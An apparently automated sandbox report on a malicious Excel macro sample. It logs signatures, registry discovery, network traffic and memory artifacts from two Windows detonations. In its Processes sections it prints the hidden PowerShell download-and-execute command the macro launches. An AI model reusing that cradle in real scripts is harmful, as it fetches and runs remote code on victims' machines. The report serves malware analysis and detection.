Malware Analysis Report

2025-08-10 15:07

Sample ID 241103-zv9nbaxkdk
Target ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09
SHA256 ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09

Threat Level: Known bad

The file ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Office macro that triggers on suspicious action

Command and Scripting Interpreter: PowerShell

Suspicious Office macro

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: AddClipboardFormatListener

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-03 21:03

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-03 21:03

Reported

2024-11-03 21:04

Platform

win7-20240903-en

Max time kernel

15s

Max time network

19s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"

Network

Country Destination Domain Proto
N/A 127.0.0.1:8000 tcp

Files

memory/2700-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2700-1-0x0000000072B6D000-0x0000000072B78000-memory.dmp

memory/2700-2-0x0000000000770000-0x0000000000870000-memory.dmp

memory/2700-4-0x0000000000770000-0x0000000000870000-memory.dmp

memory/2700-3-0x0000000000770000-0x0000000000870000-memory.dmp

memory/2700-5-0x0000000000770000-0x0000000000870000-memory.dmp

memory/2700-8-0x0000000000770000-0x0000000000870000-memory.dmp

memory/2700-7-0x0000000000770000-0x0000000000870000-memory.dmp

memory/2700-11-0x0000000072B6D000-0x0000000072B78000-memory.dmp

memory/2700-12-0x0000000000770000-0x0000000000870000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-03 21:03

Reported

2024-11-03 21:05

Platform

win10v2004-20241007-en

Max time kernel

42s

Max time network

43s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 240.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 209.80.50.20.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
N/A 127.0.0.1:8000 tcp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 150.144.22.2.in-addr.arpa udp

Files

memory/2996-0-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

memory/2996-1-0x00007FFB43C6D000-0x00007FFB43C6E000-memory.dmp

memory/2996-4-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

memory/2996-3-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

memory/2996-5-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

memory/2996-2-0x00007FFB03C50000-0x00007FFB03C60000-memory.dmp

memory/2996-6-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-8-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-7-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-11-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-10-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-12-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-13-0x00007FFB01340000-0x00007FFB01350000-memory.dmp

memory/2996-9-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-14-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-17-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-18-0x00007FFB01340000-0x00007FFB01350000-memory.dmp

memory/2996-16-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-15-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-27-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-28-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/3952-31-0x0000020220780000-0x00000202207A2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqhne4sb.ey5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2996-44-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

memory/2996-45-0x00007FFB43C6D000-0x00007FFB43C6E000-memory.dmp

memory/2996-51-0x00007FFB43BD0000-0x00007FFB43DC5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 07c7556a311061110771778bc27d790a
SHA1 1626761f67f5796823d394fcfd3117a40f8053a6
SHA256 98e3115dfe329d57803a967a7dccf4df08dbc343e560bcbe0bbdcfe2395b4966
SHA512 b667395a9b82f8a01ac09f85ca23ebc9f4a34b123145e1c18df202a760e5cc6613ee6566fd199a953604bdd91834cccc13ee985bd2d076136fb55511f90178ac